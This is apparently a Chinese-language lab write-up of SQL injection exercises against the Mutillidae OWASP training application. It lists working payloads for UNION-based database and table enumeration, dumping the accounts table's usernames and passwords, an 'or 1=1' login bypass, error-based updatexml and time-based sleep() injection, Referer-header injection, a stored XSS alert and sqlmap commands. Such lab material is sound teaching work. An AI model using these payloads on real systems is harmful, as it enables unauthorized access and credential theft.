Mutillidae-OWASP2017

40 篇文章 35 订阅
32 篇文章 14 订阅

SQL注入

提取数据

判断注入点闭合字符及注释符

使用'报错

使用#注释

万能密码

 判断列数

1' order by 7 #

判断结果为7列

 求显示位

1' union select 1,2,3,4,5,6,7 #

暴库 

1' union select 1,2,3,database(),5,6,7 #

 暴表

1' union select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where table_schema='mutillidae' #
信息:Signature=accounts,blogs_table,captured_data,credit_cards,help_texts,hitlog,level_1_help_include_files,page_help,page_hints,pen_test_tools,user_poll_results,youtubevideos

 暴字段

1' union select 1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_schema='mutillidae' and table_name='accounts' #
信息:cid,firstname,is_admin,lastname,mysignature,password,username

暴内容

1' union select 1,2,3,group_concat(cid,'~',firstname,'~',is_admin,'~',lastname,'~',mysignature,'~',password,'~',username),5,6,7 from mutillidae.accounts #

中级难度

使用HackBar

1' or 1=1 --+

 绕过身份验证

使用万能密码即可绕过

admin' or 1=1 #

 中级

使用HackBar

 SQLI插入注入

这里有一个存储型的xss

<script>alert(/xss/)</script>

Insert型注入 判断闭合字符和注释符

1‘ and ’1‘='1
1' || '

使用报错函数注入 暴库

1' and updatexml(1,concat('`',database()),1) and'1'='1

 暴表

1' and updatexml(1,concat('`',(select group_concat(table_name)from information_schema.tables where table_schema='mutillidae')),1) and'1'='1

 中级

首先看弹窗信息

Single-quotes are not allowed. Dont listen to security people. Everyone knows if we just filter dangerous characters, injection is not possible.

We use JavaScript defenses combined with filtering technology.

Both are such great defenses that you are stopped in your tracks.

使用JavaScript防御与过滤技术

所以这里禁用javascript就可以了

  SQLI插入注入2

 使用和上面同样的payload即可

中级 

在这里提交相同的payload即可

  SQLI插入注入3

这里是Referer头部注入

 在Referer加一个'运行后发现能正常执行且'被编码成了%27

使用burp抓包

在Referer头部构造payload 

 中级可以用同样的方法

SQL实践1

使用burp抓包截取post字段

sqlmap -u "http://192.168.5.228/mutillidae/index.php?page=login.php" --data "username=admin&password=password&login-php-submit-button=Login" --banner

SQL实践2

使用burp抓包

 

将数据包放在sqlmap上跑,在cookie处添加*

 SQL实践3

与2相同,都是在cookie处

通过Javascript对象表示法

 使用hackbar获取post表单

 添加‘后报错,判断这里有注入点

 使用and’1‘=’1闭合

 这里可使用延时注入

判断长度

1' and if((length(database())=10),sleep(5),1) and'1'='1

 猜解库名

 猜解表名

1' and if((left((select group_concat(table_name)from information_schema.tables where table_schema="mutillidae"),1)='a'),sleep(5),1) and'1'='1

 也可以使用报错函数进行注入,这里不再演示

中级

同样的注入点和payload,不再过多演示

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值